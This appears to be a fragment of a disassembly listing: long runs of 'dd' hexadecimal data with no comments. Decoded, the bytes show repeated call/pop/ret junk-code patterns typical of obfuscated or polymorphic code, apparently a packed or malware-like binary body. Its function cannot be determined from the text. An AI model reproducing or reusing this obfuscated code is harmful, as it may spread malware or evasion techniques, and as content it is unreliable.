895AC35Ah, 81042454h, 1A042444h dd 42000000h, 85CDC352h, 0F90D8A70h, 0D98C667Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2DC35646h, 0C1F61B11h dd 88840F04h, 60000000h, 60C7EF80h, 323DBD8Bh, 0BD890644h dd 6440069h, 95FF6161h, 6441C81h, 0BE8h, 22F37600h, 55D1E296h dd 213FEDBAh, 0B70F5B5Fh, 6AC32BFAh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0E3E0C352h dd 8343Dh, 30860F00h, 0F000000h, 68Ah, 0A1B58B00h, 0E906442Eh dd 2Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h dd 0AEC35747h, 8B88687Eh, 68E0FC0h, 89000000h, 44006DB5h dd 8BC38B06h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 93A978AFh, 1FC585C7h, 0D9150644h dd 6A766Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 2A6ECAC3h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 460F5C3h, 5EFFDEA5h dd 7830Fh, 830F0000h, 1, 0E59589F5h, 81064414h, 44167DBDh dd 7D006h, 4A850F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0DDA9C352h, 8D73EDA6h dd 0FE2CC79h, 85FFFABFh, 644167Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 5C35040h, 7DB5FFCDh, 0FF064416h dd 441C4D95h, 90F88B06h, 0E5B58940h, 83064423h, 442531BDh dd 840F0006h, 0BDh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 2C35242h, 0E9BD8393h, 6441Bh, 93840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0C4614FC3h, 1FDF3999h, 41B58B7Fh, 0FF064429h dd 44253195h, 8D896006h, 6440261h, 4840Fh, 0B9660000h dd 0B616665h, 4A840FC0h, 8D000000h, 444E558Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0E5992836h, 5B8h, 0FFFA8B00h, 50006AE1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 61BD836Bh dd 6442Dh, 5BF840Fh, 0CE90000h, 62000000h, 0B60AB849h dd 200ACAB6h, 8324B7D8h, 441BE9BDh, 840F0006h, 5A1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 57C35343h, 8501E3B1h dd 6440D5Dh, 0CA18D8Dh, 6A0644h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 891D69C3h, 4425A585h dd 8401C706h, 0F44B27Ch, 68Eh, 319D8900h, 81064421h, 99CFCB01h dd 0FA8B6614h, 340441C7h, 81CE706Bh, 0D7100441h, 6A31D6h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 94420DC3h, 0E9222757h, 6, 2E70A987h, 6AC5D8h, 0A1858DF5h dd 6A06440Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 8E46C356h, 509038F9h, 5E9h, 8CDE2000h dd 6A908CD6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 89D0C350h, 4423A995h, 6195FF06h dd 6A06442Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 91F4C355h, 0A285C76Eh, 8D89A677h dd 6443211h, 0CA18D8Dh dd 1C70644h, 0 dd 995B58Bh, 41C70644h, 4, 3DB53300h, 0B06442Ch, 57840FC0h dd 8B000000h, 558D8DFEh, 3106444Eh, 44284985h, 0FA8B6606h dd 5B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0F18B2070h, 6AE1FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 8E9E2BC3h dd 8D8D3801h, 6440CA1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 4AC35040h, 0B52963AAh, 6440AB1h, 727C01C7h dd 0E96044AAh, 0Bh, 6405607Ch, 0BFC105D7h, 0E8AB73E3h dd 11h, 0CFAA8EF9h, 0A1FEBB7Ch, 8F80FACEh, 0FABE6B5Dh dd 918D0B10h, 5F064407h, 0CB018161h, 811499CFh, 6DF5CAE6h dd 441C74Fh, 0CE78753Ch, 44181FCh, 31D6D710h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B4C35040h, 69B703ECh dd 0A69D586Fh, 0ADB5032Dh, 6A06441Eh, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 6E05E202h, 0FC26F33h, 8DF8FEB7h, 440CA185h, 81BD8906h dd 66064425h, 5530C681h, 0BE850h, 26780000h, 1BB755ECh dd 0AA0B8CA9h, 5FFA8B5Ah, 66240489h, 95FFF38Bh, 6442D61h dd 0CA18D8Dh, 53560644h, 0AE9h, 8F12EC00h, 0E83CC75Fh dd 5EC2CC59h, 1C75Fh, 51000000h, 41C75FF9h, 4, 8D0F00h dd 0F000000h, 1988h, 5E800h, 0B0640000h, 0E98E3ABAh, 9 dd 0BB31CF4h, 0D3149023h, 0C00B5EAFh, 7E840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8B561BC3h, 443109B5h, 0BD8B5E06h, 6442A85h, 4E558D8Dh dd 0BF660644h, 5B8CF37h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0E9B3C356h dd 10h, 0EF00C301h, 0CDE99386h, 3EC897A0h, 962F76EAh, 0DE9E1FFh dd 4000000h, 0AAE7E91Dh, 1F6016DEh, 0F82598F6h, 0CA18D8Dh dd 0BF0F0644h, 0A501C7F1h, 6A54CA95h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 816DC350h dd 99CFCB01h, 0F6B70F14h, 690441C7h, 89CE5F59h, 442A699Dh dd 4418106h, 31D6D710h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 66C35141h, 12372D5Ch, 0E92B6658h, 7 dd 0EE410557h, 603FA0A5h, 28A0Fh, 5B510000h, 8EDBD89h dd 6A610644h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0F705C581h, 59BF37B0h, 5E9h, 0A99ABA00h dd 0BD8B6CEDh, 6440DDDh, 0CA1858Dh, 6A0644h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 441FBC3h dd 6E9h, 62AA0300h, 0E94EF5CEh, 5, 7628EDEDh, 0F08B909Dh dd 8B666050h, 800F52D1h, 0 aYarj db 'Ya░j',0 db 55h, 0E8h, 3 dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 7ABAC355h, 6195FFE5h, 6A06442Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 1993C352h dd 0F9C20CFCh, 31759529h, 8D8D0644h, 6440CA1h, 0DC3AC2BFh dd 0D858968h, 0C7064408h, 1, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0C38C6107h dd 0A32B775Dh, 0B5035BA6h, 6442461h, 9B19589h, 41C70644h dd 4, 6850F00h, 0F000000h, 8Dh, 0FC00B00h, 7484h, 8C0F00h dd 8D000000h, 444E558Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 15BDD2D4h, 0BE3C3D15h dd 8BFC6045h, 44313595h, 0B5336106h, 6442545h, 5B8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 1EBF4678h, 0FF8BC9A4h, 0E5BD8BE1h, 8906442Fh, 4402E5B5h dd 0E9CA0306h, 0FFFFF1E5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0EC35545h, 153110CFh, 5D933AF1h, 8BF1B70Fh dd 0F68166C1h, 4EB0165h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D2C35141h dd 6CA49333h, 0B58B6E01h, 6442C6Dh, 1BE1858Dh, 6A0644h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 7A9A75C3h, 8BB940C5h, 441D11B5h, 8E85006h, 65000000h dd 2DBBE1DAh, 8BFDF02Ch, 4895EF2h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 1125E359h dd 12E82343h, 1F000000h, 9D52C21Dh, 0A31798A8h, 396DE772h dd 887CCE4Bh, 0F38B6672h, 6A006A5Eh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 29AAC355h dd 0F2B70F8Ch, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 44C63EC3h, 858DC0CAh, 647E85Ah dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0B1C35141h dd 0C0831D4Ah, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 1A41F9F9h, 0F0F2ED7Fh dd 12E99B03h, 0B5000000h, 5B676743h, 8EAA7786h, 0B1EFC155h dd 895680EBh, 820F908Dh, 1Bh, 15800Fh, 0FE80000h, 0A1000000h dd 0B46EAC22h, 8D905287h, 9B4B14C8h, 505EA2C3h, 0A1BE6652h dd 6A905E24h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 9656C351h, 27AF56FEh, 2123AA8Ah dd 6AF28Bh, 74F68166h, 0F1BF0F2Ch, 10E8006Ah, 0B000000h dd 0CEB9772Bh, 0B8A365C2h, 433DD254h, 6656AAAFh, 5EF77EBEh dd 182595FFh, 6A0644h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 9608F9C3h, 0BE667928h, 9D8DA225h dd 6479A97h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 75C35343h, 0B126B7CAh, 6C31BE9Ch, 0D3FF3B46h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 37C35242h, 0C4A2A052h dd 0D9B2E4A0h, 0A97BE40h, 7E97AC0h, 4C000000h, 735510F3h dd 85FF8075h, 64408E9h, 6830Fh, 0B50B0000h, 6442A1Dh, 0A89E9h dd 0E800h, 815D0000h, 47E864EDh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 54577B0Ah dd 359D8960h, 8B06441Ah, 44250995h, 0BD816106h, 644167Dh dd 7D0h, 18B860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 9D8BC0C3h, 6441781h dd 2611B58Bh, 0E3810644h, 100h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 91C35040h, 47C250B9h, 66B5A0FBh dd 0DB0BF38Bh, 0B0850Fh, 0BD830000h, 647E5F2h, 3D840F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 4D65C355h, 858952B3h, 64407CDh dd 15B58B5Eh, 0E9064414h, 9Fh, 1F299501h, 0B5330644h, 6440939h dd 0E5F285C7h, 10647h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0AD707EC3h, 0D003135h dd 0DE92707h, 3A000000h, 0A89E7D14h, 7459C083h, 5732F830h dd 4EE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0BE665FD0h, 85C773A6h, 647E5F2h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 97C35040h dd 118589EDh, 8D06440Ch, 4417819Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0B70F8F11h dd 0D865BEF2h, 238137A0h, 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0DC35242h, 1E419516h, 0DB8C6636h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E5C35141h dd 0BD7C795Dh, 9E39DEFh, 4C3F686h, 55840Fh, 0B5330000h dd 64417B1h, 1C8195FFh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 1CC06C3h, 8B501ACEh dd 240489F3h, 0FE8h, 0BB5B6A00h, 6A9907CFh, 0A4A9C338h dd 8B7C3F52h, 8E0F60h, 8B000000h, 440D2195h, 0E95E6106h dd 45Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 75C35747h, 0B06EBDh, 6A70E6h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B58BBBC3h dd 64413ADh, 0BE6671E4h, 0B60FDD14h, 0CE8D8h, 666A0000h dd 0ECE94015h, 0B0A8A5E6h, 0BA5E51BEh, 6, 0B58BF78Bh, 6440975h dd 0AE8C38Bh, 18000000h, 0E7820138h, 0DB99C63Dh, 0E8C15EF1h dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 29904882h, 4421299Dh, 8E0F06h, 66000000h dd 6AE2F7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0D82B91C3h, 93F38B66h, 66525050h, 0FB548BEh dd 5A5E5231h, 6A9358h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0EE29ACC3h, 8B2A32FDh, 441AF5B5h dd 7DB5FF06h, 0E9064416h, 6, 4055B70Fh, 89563A29h, 4409D595h dd 95FF5E06h, 6441C4Dh, 0AE8h, 0B334EB00h, 64AF9D83h, 5EE9DBF1h dd 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 1F0093C3h, 25B58B56h, 0E6064407h, 50006A70h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 9D89CF25h, 6440D6Dh, 0B58B71E4h, 6441489h, 830F613Ch dd 2CFh, 0D5B0BE66h, 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 3E22C355h, 7FD12C9Ch dd 86C68166h, 0BDBD89C8h, 0BA06440Fh, 6, 0DE9h, 9669DC00h dd 0F4B9FD9Fh, 897A56E3h, 0C38BDA19h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 0ECC35747h, 0F9858956h, 0C1064429h dd 6A04E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0F4E3B2C3h, 37FCAA9Dh, 0F860DEEBh, 1EB58589h dd 66610644h, 9722CE81h, 6AE2F766h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 1896C355h dd 2B163B93h, 6A58D8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 81CE76C3h, 831CE48Ah, 0FDBC9D4h dd 0D82BF3B7h, 1D5880Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0F483FCC3h, 4C44F0FDh dd 1611BD01h, 7B90644h, 0F000000h, 0C183F0B7h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0FF21241h, 9659589h, 0D93B0644h, 175860Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0B167FDC3h, 75D18293h, 66020FB6h, 6AD98Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 212B4DC3h dd 14E8A7h, 0E470000h, 0C576C0FAh, 80629C74h, 74549A67h dd 0E496CC4Dh, 8B0FF858h, 2, 0F65E5E50h, 840F04C1h, 0D8h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 89C35040h dd 95FFDBC1h, 6441C81h, 2AA5B589h, 6A5B0644h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 3DF8C357h, 0EBAFEA61h, 6570A636h, 13ADB58Bh, 0C32B0644h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 3C35646h dd 33920B34h, 0E9885CD3h, 0Bh, 6F61A8BCh, 2AA481E0h, 0F2BB22Eh dd 888h, 0BD315700h, 644193Dh, 8343D5Eh, 860F0000h, 34h dd 0B3EBE66h, 56E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0AEC1328Ah, 0D25BA30Eh dd 0B5238ECAh, 6440CDDh, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 9A0B1CC3h, 0B0CFAE30h dd 0F53A37Fh, 8B5EF2BFh, 29D88BC3h, 440E21BDh, 2585C706h dd 7706441Fh, 6A113F89h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 9BBBC355h, 41669E13h dd 0B4C6AEC9h, 8BF38B66h, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 68618B02h dd 0D1A0F775h, 6830Fh, 820F0000h, 0 dd 5EF08B52h, 167DBD81h, 7D00644h, 850F0000h, 2Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 3EC35242h, 66120E2Fh dd 1542F681h, 167D85FFh, 8B660644h, 7DB5FFF1h, 6A064416h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 1CAEC351h, 67E2844Dh, 0BEBE3DACh, 890FA3EFh dd 442FC9BDh, 4D95FF06h, 8906441Ch, 44148185h, 0D88B9006h dd 29F1B58Bh, 0BD830644h, 6442381h, 34840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0FACAC352h, 90CF8E44h, 0BEDF98E0h, 496B57C4h dd 273E9h, 0E9B58B00h, 8C064430h, 51006ADFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0DD55F2B0h dd 0AC225BAh, 0F0BF0FA8h, 4C7F766h, 39850F00h, 81000002h dd 0E77736C6h, 81FF2B78h, 0F65B5FDEh, 789D8D1Dh, 6A0647F2h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0C225C356h, 0DC4FA80Ah, 12E8D6h, 0DA610000h dd 53D8FCE5h, 0E3DC2A42h, 0BC3119FEh, 0CEB7629Dh, 2DFDB58Bh dd 0F85E0644h, 6E85693h, 98000000h, 563420D6h, 5E5E50D5h dd 0BE66505Eh, 6693F3D0h, 640FDCBEh, 35FFh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0BEF60DC3h, 4AB7C5Fh, 0FE906h, 35900000h, 0E92941C6h dd 661E310Bh, 91AE9AC1h, 258964C0h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 6C35545h dd 8B22A919h, 56006AC4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 1DF46368h, 455DD9D9h, 1CD0967h, 6A00EBh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 6AD66AC3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 7499C356h, 72635F0h, 8F64C276h dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0F70B07Ah, 5C080F9Ch, 4C483F8h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 61C35040h, 0A8371362h dd 0E1DF7B52h, 0FC00B46h, 9F84h, 0B58B5700h, 6441C61h dd 55BD8D5Eh, 6A06444Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0E162C352h, 5B8h, 6C19BE00h dd 0E7FF4DD6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 3EC35343h, 8B57F4B0h, 8B10245Ch, 0B883h, 40B60F00h dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh dd 1F09B58Bh, 6A0644h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 9D89E6C3h, 64407A1h, 96E9CA2Bh dd 6AFFFFF5h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 3362C357h, 0C18B7823h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0FDC35747h, 0A6190D2Ah dd 0DDBEF28Bh, 0EB6A3964h, 4, 5F505100h, 50006A5Eh, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0B58B6018h, 6440C4Dh, 14E8h, 0BD05CB00h, 0CC7F33FEh dd 9FA65F28h, 74C8ED8Dh, 0E7D5C551h, 5EF98B86h, 398D8961h dd 8D06442Ch, 441BE185h, 0B58B5606h, 6441E31h, 0E960505Eh dd 7, 66577F7h, 0E94B88BBh, 12h, 75EB8474h, 36177588h dd 0F8A0882Ah, 0E3EBAA02h, 8961CDFFh, 6A2404h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0B7DF61C3h, 6E9BD25h, 61000000h, 49258B26h, 0A1950159h dd 6A064431h, 12E900h, 18F70000h, 748CE43Ah, 86703185h dd 0CB2ACB0Eh, 0D1D015B6h, 858D006Ah, 647F4EEh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 6AC35747h, 33A2E91Eh dd 0F5B533E3h, 8306441Dh, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 9C19F3C3h, 70BDCFD1h dd 0F5BD2952h, 8906441Dh, 440C3185h, 198B0F06h, 0E9000000h dd 14h, 26D11511h, 47671FBh, 1D713063h, 0C9C53D34h, 0B7DE6D0Ah dd 0F525050h, 1387h, 0EE900h, 2550000h, 0C7F25A25h, 5CD5F819h dd 43F15CEAh, 0F18B310Fh, 489585Ah, 0DF816624h, 6A3813h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B4C35646h dd 0B58BDAC5h, 644158Dh, 1F99B503h, 6A0644h, 2445B531h dd 95FF0644h, 6441825h, 2339B589h, 9D8D0644h, 6479A97h dd 0BD23D3FFh, 6443135h, 8E985FFh, 0F510644h, 687h, 0C19D8900h dd 5E06441Ch, 8C2E9h, 0E800h, 815D0000h, 47F4F8EDh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BD038D78h, 644259Dh, 23E9BD29h, 0BD810644h, 644167Dh dd 7D0h, 103860Fh, 8D890000h, 6443011h, 28C19D8Bh, 0E3810644h dd 100h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0DFC35747h, 0B265CF1h, 7C850FDBh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 60DDC350h, 134A875Ch, 0AAAA7B5Fh, 2C4DB589h, 0BD830644h dd 647F313h, 0B840F00h, 0E9000000h, 75h, 88A7D781h, 85C75D83h dd 647F313h, 1, 2151BD31h, 5AE90644h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 17F7C355h, 83F80788h, 0C76EC510h, 47F31385h, 6, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 25AA1C3Dh, 0A415E232h, 0B58B867Eh, 6442A61h, 0C19D8DF5h dd 89064428h, 44229D9Dh, 0FF238106h, 89FFFFFEh, 4419799Dh dd 0DB8C6606h, 0F04C3F6h, 5584h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0A6FBFD41h dd 0FFC37D23h, 441C8195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 9F20C8Ch, 440A7D8Dh dd 4895006h, 0CF816624h, 0D4E903DDh, 0F000004h, 685h, 0C98D2900h dd 0B0064417h, 6A70E600h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 51BCC355h, 0EE9803Dh dd 0E9000000h, 0B326999Bh, 595BC075h, 12A8F78Dh, 971E413h dd 44227DBDh, 0D8B60F06h, 0A9BD8B60h, 8B06442Bh, 44194985h dd 6BA6106h, 66000000h, 8BD365BFh, 53006AC3h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 333FEFEFh dd 0E03DF16Eh, 8BF1BF0Fh, 441DC1BDh, 4E8C106h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 90C35040h, 1527E025h dd 18418D09h, 0F7660644h, 53006AE2h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0F2BF0FA7h dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0E8BC03C3h, 14h, 6D09E8CCh, 852AF1Bh, 0BCFB43A9h dd 0E88280Fh, 24635815h, 6660935Eh, 0E860CB8Bh, 10h, 0A5142279h dd 82102AAEh, 9F3672A0h, 4AB9BB5Dh, 615F565Eh, 50605061h dd 0F616052h, 0E6F7BE31h, 585A0237h, 5E8h, 0D4A7C200h dd 8B66F91Dh, 936158D8h, 19DD8D89h, 0B5FF0644h, 644167Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0EBC35343h dd 5DD5DB7Dh, 9DD427E9h, 4D95FFF9h, 8906441Ch, 442D35BDh dd 6A00B006h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 2F2EC356h, 875B58Bh, 70E60644h dd 0A860Fh, 890F0000h, 4, 6854BF66h, 816671E4h, 31B732C7h dd 440FC185h, 0F613C06h, 2F683h, 0D8B60F00h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0EEC35343h, 0E950ABE8h dd 6, 84AFBDBCh, 8B5E12C4h, 442CF9B5h, 6BA06h, 12E80000h dd 0C0000000h, 496F0043h, 0DD7A4203h, 0EBECFC79h, 2170223Dh dd 0D68151BEh, 2DAECDBh, 0C38B5F5Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 68C35141h, 4E8C193h, 66F28B66h dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0A880FDC3h, 9EBFFC05h, 2B3157FAh, 56006AD8h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 68151E3Eh, 5E8E9h, 0D5A80000h, 0E9A2C50Ch dd 10h, 4BF17428h, 0B57CB106h, 0E7E8CA5Ch, 62C3DBE3h, 1BD895Eh dd 5806440Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 61C35545h, 0B4A57A7Ah, 0A88248D4h, 0FD82BF7h, 1DA88h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 8DC33C50h, 12E9F149h, 0CE000000h, 8B659A4Eh dd 0BDD19AD2h, 0ACFEACD2h, 6D16D5AAh, 5E932h, 64050000h dd 0B9C105D7h, 7, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 97C35141h, 0DE109660h, 2B1F6BFCh, 0D21B533h, 0C1830644h dd 39DE8100h, 3B58BF63h, 58860FD9h, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0C451C355h, 0E1152109h, 0A0C8599Ch, 0D7CE8151h, 5E73F796h dd 0BED98C66h, 11CD439Ch, 0F04C1F6h, 0F584h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 99A394FEh, 21AC0BDEh, 6800F62h, 89000000h, 442AA58Dh dd 29858906h, 8B06440Bh, 8195FFF3h, 8B06441Ch, 44143DB5h dd 0BD035606h, 6440419h, 6A5B5Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 665144C3h, 5E5F2DBFh dd 0C70ABE66h, 6AC32Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0EE47BFC3h, 23C7B193h, 4425C5B5h dd 8343D06h, 860F0000h, 4Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 9C35141h, 34F7B93Eh, 5C8A42Fh dd 9D8D89DCh, 0E9064409h, 43h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 4AC35343h, 0C08BF879h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0ADC35040h, 6649B4C8h dd 8B5B63BFh, 